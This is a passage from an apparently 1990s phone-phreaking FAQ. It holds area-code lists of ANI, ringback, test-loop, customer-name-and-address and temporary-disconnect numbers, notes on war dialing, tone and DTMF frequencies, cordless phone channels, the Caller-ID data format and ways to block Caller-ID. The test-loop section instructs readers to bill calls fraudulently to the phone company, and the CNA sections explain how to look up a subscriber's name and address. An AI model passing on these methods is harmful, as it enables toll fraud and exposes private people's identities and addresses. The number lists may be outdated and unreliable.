200-222-2222 Boston, MA 617 200-444-4444 Boston, MA (Woburn, MA) 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 618 930 Alton/Cairo/Mt.Vernon, IL 619 211-2001 San Diego, CA 619 211-2121 San Diego, CA N 659 220-2622 Newmarket, NH N 703 211 VA N 703 511-3636 Culpeper/Orange/Fredericksburg, VA 703 811 Alexandria/Arlington/Roanoke, VA 704 311 Asheville/Charlotte, NC N 706 940-xxxx Augusta, GA 707 211-2222 Eureka, CA 708 1-200-555-1212 Chicago/Elgin, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) 708 200-6153 Chicago/Elgin, IL 708 724-9951 Chicago/Elgin, IL 713 380 Houston, TX 713 970-xxxx Houston, TX 713 811 Humble, TX 380-5555-5555 Houston, TX 714 114 Anaheim, CA (GTE) 714 211-2121 Anaheim, CA (PacBell) 714 211-2222 Anaheim, CA (Pacbell) N 714 211-7777 Anaheim, CA (Pacbell) 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY N 770 940-xxx-xxxx Marietta/Norcross, GA N 770 780-2311 Marietta/Norcross, GA 802 2-222-222-2222 Vermont 802 200-222-2222 Vermont 802 1-700-222-2222 Vermont 802 111-2222 Vermont N 713 N 804 990 Virginia Beach, VA 805 114 Bakersfield/Santa Barbara, CA 805 211-2345 Bakersfield/Santa Barbara, CA 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI N 810 311 Pontiac/Southfield/Troy, MI 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL N 815 200-3374 Crystal Lake, IL N 815 270-3374 Crystal Lake, IL N 815 770-3374 Crystal Lake, IL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell) 818 1223 Pasadena, CA (Some 1AESS switches) 818 211-2345 Pasadena, CA (English response) 818 211-2346 Pasadena, CA (DTMF response) 970 CT 903 970-611-1111 Tyler, TX 904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI 907 811 AK 908 958 New Brunswick, NJ N 909 111 Riverside/San Bernardino, CA (GTE) 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX N 916 211-0007 Sacramento, CA (Pac Bell) 916 461 Sacramento, CA (Roseville Telephone) 919 200 Durham, NC 919 711 Durham, NC N 954 200-555-1212 Ft. Lauderdale, FL N 954 200200200200200 Ft. Lauderdale, FL N 954 780-2411 N 860 Ft. Lauderdale, FL Canada: 204 644-4444 Manitoba 306 115 Saskatchewan 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997-xxxx Toronto, Ontario 506 1-555-1313 New Brunswick 514 320-xxxx Montreal, Quebec U 514 320-1232 Montreal, Quebec U 514 320-1223 Montreal, Quebec U 514 320-1233 Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia 604 1211 British Columbia 604 211 British Columbia 613 320-2232 Ottawa, Ontario 705 320-4567 North Bay/Saulte Ste. Marie, Ontario N 819 320-1112 Quebec Australia: +61 03-552-4111 +612 19123 Victoria 03 area All major capital cities +612 11544 United Kingdom: 175 Israel: 110 12. What is a ringback number? A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. 13. What is the ringback number for my area? An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations. If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company. Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to switch within the same city. NPA Ringback number Approximate Geographic area --- --------------- --------------------------------------------- 201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx District of Columbia 203 99?-xxxx CT 206 571-xxxx WA N 208 59X-xxxx ID 99xxx-xxxx ID 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE) 1-95x-xxxx Los Angeles, CA N 214 971-xxxx Dallas, TX 215 811-xxxx Philadelphia, PA 216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH 219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 301 579-xxxx Hagerstown/Rockville, MD 301 958-xxxx Hagerstown/Rockville, MD 303 99X-xxxx Grand Junction, CO 304 998-xxxx WV 305 999-xxxx Ft. Lauderdale/Key West/Miami, FL 312 511-xxxx Chicago, IL 208 N 210 213 312 511-xxx-xxxx Chicago, IL 312 57?-xxxx Chicago, IL 315 98x-xxxx Syracuse/Utica, NY 317 777-xxxx Indianapolis/Kokomo, IN 317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number) 319 79x-xxxx Davenport/Dubuque, Iowa 334 901-xxxx Montgomery, AL 401 98?-xxxx RI 404 450-xxxx Atlanta, GA 407 988-xxxx Orlando/West Palm Beach, FL 408 470-xxxx San Jose, CA 408 580-xxxx San Jose, CA 412 985-xxxx Pittsburgh, PA 414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 350-xxxx San Francisco, CA 417 551-xxxx Joplin/Springfield, MO 501 221-xxx-xxxx AR 501 721-xxx-xxxx AR 502 988 Frankfort/Louisville/Paducah/Shelbyville, KY 503 541-XXXX OR 504 99x-xxxx Baton Rouge/New Orleans, LA 504 9988776655 Baton Rouge/New Orleans, LA 505 59?-xxxx New Mexico 512 95X-xxxx Austin, TX 513 951-xxxx Cincinnati/Dayton, OH 513 955-xxxx Cincinnati/Dayton, OH 513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9) N 515 559-XXXX Des Moines, IA 516 660-xxx-xxxx Hempstead/Long Island, NY 601 777-xxxx MS 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ 610 811-xxxx Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 612 999-xxx-xxxx Minneapolis/St.Paul, MN N 613 999-xxx-xxxx Ottawa, Ontario 614 998-xxxx Columbus/Steubenville, OH 615 920-XXXX Chatanooga/Knoxville/Nashville, TN 615 930-xxxx Chatanooga/Knoxville/Nashville, TN 616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA N 659 981-XXXX Newmarket, NH N 703 511-xxx-xxxx VA 703 958-xxxx Alexandria/Arlington/Roanoke, VA 708 511-xxxx Chicago/Elgin, IL N 713 231-xxxx Los Angeles, CA 714 330? Anaheim, CA (GTE) 714 33?-xxxx Anaheim, CA (PacBell) 716 981-xxxx Rochester, NY (Rochester Tel) 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah 801 939-xxxx Utah 802 987-xxxx Vermont 804 260 Charlottesville/Newport News/Norfolk/Richmond, VA 805 114 Bakersfield/Santa Barbara, CA 805 980-xxxx Bakersfield/Santa Barbara, CA 810 951-xxx-xxxx Pontiac/Southfield/Troy, MI 813 711 Ft. Meyers/St. Petersburg/Tampa, FL 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#) 906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI 908 55?-xxxx New Brunswick, NJ 908 953 New Brunswick, NJ 913 951-xxxx Lawrence/Salina/Topeka, KS 914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY Canada: 204 590-xxx-xxxx Manitoba 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario 506 572+xxx-xxxx New Brunswick 514 320-xxx-xxxx Montreal, Quebec 519 999-xxx-xxxx London, Ontario N 604 311-xxx-xxxx British Columbia 613 999-xxx-xxxx Ottawa, Ontario 705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario N 819 320-xxx-xxxx Quebec N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario Australia: +61 199 Brazil: 109 or 199 N France: 3644 Holland: 99-xxxxxx New Zealand: 137 Sweden: 0058 United Kingdom: 174 or 1744 or 175 or 0500-89-0011 N Amsterdam 0196 N Hilversum 0123456789 N Breukelen 0123456789 N Groningen 951 14. What is a loop? This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. good do loops do us? Well, they are cool in a few ways. What Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! may go down. Use this technique in moderation, or the loop Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. 15. What is a loop in my area? Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research. NPA High Low --- -------- -------- 201 666-9929 666-9930 208 862-9996 862-9997 209 732-0044 732-0045 201 666-9929 666-9930 213 360-1118 360-1119 213 365-1118 365-1119 213 455-0002 455-XXXX 213 455-0002 455-xxxx 213 546-0002 546-XXXX 213 546-0002 546-xxxx 213 549-1118 549-1119 305 964-9951 964-9952 307 468-9999 468-9998 308 357-0004 357-0005 312 262-9902 262-9903 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 315 673-9995 673-9996 315 695-9995 695-9996 402 422-0001 422-0002 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 572-0003 572-0004 402 779-0004 779-0007 406 225-9902 225-9903 N 408 238-0044 238-0045 N 408 272-0044 272-0045 N 408 729-0044 729-0045 N 408 773-0044 773-0045 N 408 926-0044 926-0045 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 613 966-1111 616 997-9996 997-9997 708 724-9951 724-???? 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 N 719 598-0009 598-0010 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 808 235-9907 235-9908 808 239-9907 239-9908 808 245-9907 245-9908 808 247-9907 247-9908 808 261-9907 261-9908 808 322-9907 322-9908 808 328-9907 328-9908 808 329-9907 329-9908 808 332-9907 332-9908 808 335-9907 335-9908 808 572-9907 572-9908 808 623-9907 623-9908 808 624-9907 624-9908 808 668-9907 668-9908 808 742-9907 742-9908 808 879-9907 879-9908 808 882-9907 882-9908 808 885-9907 885-9908 808 959-9907 959-9908 808 961-9907 961-9908 810 362-9996 362-9997 813 385-9971 385-xxxx 908 254-9929 254-9930 908 558-9929 558-9930 908 560-9929 560-9930 908 776-9930 776-9930 16. What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are: Unidirectory (900)933-3330 Telename (900)884-1212 Note that these are 900 numbers, and will cost you approximately one dollar per minute. If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call. If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299. If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for automated CNA information. The cost is $.50/call. 17. What is the telephone company CNA number for my area? 203 (203)771-8080 CT 312 (312)796-9600 Chicago, IL 506 (506)555-1313 New Brunswick 513 (513)397-9110 Cincinnati/Dayton, OH 516 (516)321-5700 Hempstead/Long Island, NY 614 (614)464-0123 Columbus/Steubenville, OH 813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode Island, New Hampshire, and Massachusetts 18. What are some numbers that always ring busy? In the following listings, "xxx" means that the same number is used as a constantly busy number in many different prefixes. In most of these, there are some exchanges that ring busy and some exchanges that are in normal use. *ALWAYS* test these numbers at least three times during normal business hours before using as a constantly busy number. N 800 999-1803 WATS N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ N 212 724-9970 Manhattan, NY N 213 xxx-1117 Los Angeles, CA N 213 xxx-1118 Los Angeles, CA N 213 xxx-1119 Los Angeles, CA N 213 xxx-9198 Los Angeles, CA 216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH 303 431-0000 Denver, CO 303 866-8660 Denver, CO N 310 xxx-1117 Long Beach, CA N 310 xxx-1118 Long Beach, CA N 310 xxx-1119 Long Beach, CA N 310 xxx-9198 Long Beach, CA 316 952-7265 Dodge City/Wichita, KS 501 377-99xx AR U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO 805 255-0699 Bakersfield/Santa Barbara, CA N 714 xxx-1117 Anaheim, CA N 714 xxx-1118 Anaheim, CA N 714 xxx-1119 Anaheim, CA N 714 xxx-9198 Anaheim, CA N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA N 818 xxx-1117 Pasadena, CA N 818 xxx-1118 Pasadena, CA N 818 xxx-1119 Pasadena, CA N 818 xxx-9198 Pasadena, CA U 818 885-0699 Pasadena, CA (???-0699 is a pattern) N 860 525-7078 Hartford, CT 906 632-9999 Marquette/Sault Ste. Marie, MI 906 635-9999 Marquette/Sault Ste. Marie, MI 19. What are some numbers that temporarily disconnect phone service? If your NPA is not listed, or the listing does not cover your LATA, try common numbers such as 119 (GTD5 switches) or 511. 314 511 Columbia/Jefferson City/St.Louis, MO (1 minute) 404 420 Atlanta, GA (5 minutes) 405 953 Enid/Oklahoma City, OK (1 minute) U 407 511 Orlando, FL (United Telephone) (1 minute) N 414 958-0013 512 200 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute) Austin/Corpus Christi, TX (1 minute) 516 480 Hempstead/Long Island, NY 603 980 NH 614 xxx-9894 Columbus/Steubenville, OH 805 119 Bakersfield/Santa Barbara, CA 919 211 or 511 Durham, NC (1 minute) (3 minutes) (10 min - 1 hour) 20. What is a Proctor Test Set? A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines. You call the Proctor Test Set number and press buttons on a touch tone phone to active the tests you select. 21. What is a Proctor Test Set in my area? If your NPA is not listed try common numbers such as 111 or 117. 805 111 Bakersfield/Santa Barbara, CA 909 117 Tyler, TX 913 611-1111 Lawrence/Salina/Topeka, KS 22. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. 23. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQIn some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. there is no uniform policy. But The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQIt should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. 24. Where can I purchase a lineman's handset? Contact East 335 Willow Street North Andover, MA 01845-5995 (508)682-2000 Jensen Tools 7815 S. 46th Street Phoenix, AZ 85044-5399 (800)426-1194 Specialized Products 3131 Premier Drive Irving, TX 75063 (800)866-5353 Time Motion Tools 12778 Brookprinter Place Poway, CA 92064 (619)679-0303 25. What are the DTMF frequencies? DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touch pad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones. 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D 26. What are the frequencies of the telephone tones? Type Hz On Off --------------------------------------------------------------------Dial Tone 350 & 440 --- --- Busy Signal 480 & 620 0.5 0.5 Toll Congestion 480 & 620 0.2 0.3 Ringback (Normal) 440 & 480 2.0 4.0 Ringback (PBX) 440 & 480 1.5 4.5 Reorder (Local) 480 & 620 3.0 2.0 Invalid Number 200 & 400 Hang Up Warning 1400 & 2060 0.1 0.1 Hang Up --- --- 2450 & 2600 27. What are all of the * (LASS) codes? Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes: (These appear to be standard, but may be changed locally) Service Tone Pulse/rotary Notes -------------------------------------------------------------------------Assistance/Police *12 n/a [1] Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1] Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3] Intercom Ring 2 (.._) *52 1152 [3] Intercom Ring 3 (._.) *53 1153 [3] Extension Hold *54 1154 [3] Customer Originated Trace *57 1157 Selective Call Rejection *60 1160 Selective Distinct Alert *61 1161 Selective Call Acceptance *62 1162 Selective Call Forwarding *63 1163 ICLID Activation *65 1165 Call Return (outgoing) *66 1166 (or Call Screen) Number Display Blocking *67 1167 Computer Access Restriction *68 1168 Call Return (incoming) *69 1169 Call Waiting disable *70 1170 No Answer Call Transfer *71 1171 Usage Sensitive 3 way call *71 1171 Call Forwarding: start *72 or 72# 1172 Call Forwarding: cancel *73 or 73# 1173 Speed Calling (8 numbers) *74 or 74# 1174 Speed Calling (30 numbers) *75 or 75# 1175 Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1180 (or Call Screen) [M: *50] Selective Distinct Disable *81 1181 [M: *51] Select. Acceptance Disable *82 1182 [4] [7] Select. Forwarding Disable *83 1183 [M: *53] ICLID Disable *85 1185 Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) 1189 [6] [M: *59] *89 [4] [4] Notes: [C1] - Means code used for Cellular One service [1] - for cellular in Pittsburgh, PA A/C 412 in some areas [2] - indicates that you are not local and maybe how to reach you [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up [4] - applied once before each call [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance) [6] - cancels further return attempts [7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless of the default setting on this phone line." [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups. The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reassigned *5x 28. What frequencies do cordless phones operate on? Here are the frequencies for the first generation 46/49mhz phones. Channel Handset Transmit Base Transmit ------- ---------------- ------------- 1 49.670mhz 46.610mhz 2 49.845 46.630 3 49.860 46.670 4 49.770 46.710 5 49.875 46.730 6 49.830 46.770 7 49.890 46.830 8 49.930 46.870 9 49.990 46.930 10 49.970 46.970 The new "900mhz" cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz. Following are some examples of the frequencies used by phones currently on the market. ---------------------------------------------------------------Panasonic KX-T9000 (60 Channels) base 902.100 - 903.870 Base frequencies (30Khz spacing) handset 926.100 - 927.870 Handset frequencies CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 902.100 926.100 11 902.400 926.400 21 902.700 926.700 02 902.130 926.130 12 902.430 926.430 22 902.730 926.730 03 902.160 926.160 13 902.460 926.460 23 902.760 926.760 04 902.190 926.190 14 902.490 926.490 24 902.790 926.790 05 902.220 926.220 15 902.520 926.520 25 902.820 926.820 06 902.250 926.250 16 902.550 926.550 26 902.850 926.850 07 902.280 926.280 17 902.580 926.580 27 902.880 926.880 08 902.310 926.310 18 902.610 926.610 28 902.910 926.910 09 902.340 926.340 19 902.640 926.640 29 902.940 926.940 10 902.370 926.370 20 902.670 926.670 30 902.970 926.970 31 903.000 927.000 41 903.300 927.300 51 903.600 927.600 32 903.030 927.030 42 903.330 927.330 52 903.630 927.630 33 903.060 927.060 43 903.360 927.360 53 903.660 927.660 34 903.090 927.090 44 903.390 927.390 54 903.690 927.690 35 903.120 927.120 45 903.420 927.420 55 903.720 927.720 36 903.150 927.150 46 903.450 927.450 56 903.750 927.750 37 903.180 927.180 47 903.480 927.480 57 903.780 927.780 38 903.210 927.210 48 903.510 927.510 58 903.810 927.810 39 903.240 927.240 49 903.540 927.540 59 903.840 927.840 40 903.270 927.270 50 903.570 927.570 60 903.870 927.870 -----------------------------------------------------------V-TECH TROPEZ DX900 (20 CHANNELS) 905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING) 925.5 - 927.4 HANDSET FREQUENCIES CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 905.600 925.500 08 906.300 926.200 15 907.000 926.900 02 905.700 925.600 09 906.400 926.300 16 907.100 927.000 03 905.800 925.700 10 906.500 926.400 17 907.200 927.100 04 905.900 925.800 11 906.600 926.500 18 907.300 927.200 05 906.000 925.900 12 906.700 926.600 19 907.400 927.300 06 906.100 926.000 13 906.800 926.700 20 907.500 927.400 07 906.200 926.100 14 906.900 926.800 -----------------------------------------------------------Other 900mhz cordless phones AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ ------------------------------------------------------------ 29. What is Caller-ID? This FAQ answer is stolen from Rockwell: Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle. Parameters ~~~~~~~~~~ The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load Protocol ~~~~~~~~ The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. | Channel | Carrier | Message | Message | Data | Checksum | | Seizure | Signal | Signal | | Type | Length | Word(s) | Word | | Word | Word | | | Channel Seizure Signal ~~~~~~~~~~~~~~~~~~~~~~ The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). Carrier Signal ~~~~~~~~~~~~~~ The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. Message Type Word ~~~~~~~~~~~~~~~~~ The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). Message Length Word ~~~~~~~~~~~~~~~~~~~ The message length word specifies the total number of data words to follow. Data Words ~~~~~~~~~~ The data words are encoded in ASCII and represent the following information: o The first two words represent the month o The next two words represent the day of the month o The next two words represent the hour in local military time o The next two words represent the minute after the hour o The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". Checksum Word ~~~~~~~~~~~~~ The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. Example CNS Single Data Message ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word Data Access Arrangement (DAA) Requirements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. Modem Requirements ~~~~~~~~~~~~~~~~~~ Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. Signalling ~~~~~~~~~~ According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst Applications ~~~~~~~~~~~~ Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. Bulletin board applications b. Black-listing applications c. Keeping logs of system user calls, or d. Implementing a telemarketing data base References ~~~~~~~~~~ For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (908) 699-5800 30. How do I block Caller-ID? Always test as much as possible before relying on any method of blocking Caller-ID. Some of these methods work in some areas, but not in others. Dial *67 before you dial the number. (141 in the United Kingdom) Dial your local TelCo and have them add Caller-ID block to your line. Dial the 0 Operator and have him or her place the call for you. Dial the call using a pre-paid phone card. Dial through Security Consultants at (900)PREVENT for U.S. calls ($1.99/minute) or (900)STONEWALL for 